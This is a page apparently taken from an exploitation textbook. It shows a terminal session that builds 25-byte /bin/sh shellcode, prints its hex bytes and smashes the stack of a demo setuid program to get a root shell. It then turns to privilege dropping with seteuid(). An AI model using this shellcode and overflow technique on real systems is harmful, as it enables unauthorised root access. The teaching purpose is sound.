SHELLCODE - Hacking: The Art of Exploitation - page 299

reader@hacking:~/booksrc $ nasm tiny_shell.s
reader@hacking:~/booksrc $ wc -c tiny_shell
25 tiny_shell
reader@hacking:~/booksrc $ hexdump -C tiny_shell
00000000 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 |1.Ph//shh/bin..P|
00000010 89 e2 53 89 e1 b0 0b cd 80 |..S......|
00000019
reader@hacking:~/booksrc $ export SHELLCODE=$(cat tiny_shell)
reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./notesearch
SHELLCODE will be at 0xbffff9cb
reader@hacking:~/booksrc $ ./notesearch $(perl -e 'print "\xcb\xf9\xff\xbf"x40')
[DEBUG] found a 34 byte note for user id 999
[DEBUG] found a 41 byte note for user id 999
[DEBUG] found a 5 byte note for user id 999
[DEBUG] found a 35 byte note for user id 999
[DEBUG] found a 9 byte note for user id 999
[DEBUG] found a 33 byte note for user id 999
-------[ end of note data ]-------
s h-3.2#

0x531 A Matter of Privilege

To help mitigate rampant privilege escalation, some privileged processes will
lower their effective privileges while doing things that don't require that kind
of access. This can be done with the seteuid() function, which will set the effec-
tive user ID. By changing the effective user ID, the privileges of the process
can be changed. The manual page for the seteuid() function is shown below.

SETEGID(2) Linux Programmer's Manual SETEGID(2)

NAME
seteuid, setegid - set effective user or group ID

SYNOPSIS
#include <sys/types.h>
#include <unistd.h>

int seteuid(uid_t euid);
int setegid(gid_t egid);

DESCRIPTION
seteuid() sets the effective user ID of the current process.
Unprivileged user processes may only set the effective user ID to
ID to the real user ID, the effective user ID or the saved set-user-ID.
Precisely the same holds for setegid() with "group" instead of "user".

RETURN VALUE
On success, zero is returned. On error, -1 is returned, and errno is
set appropriately.

This function is used by the following code to drop privileges down to
those of the “games” user before the vulnerable strcpy() call.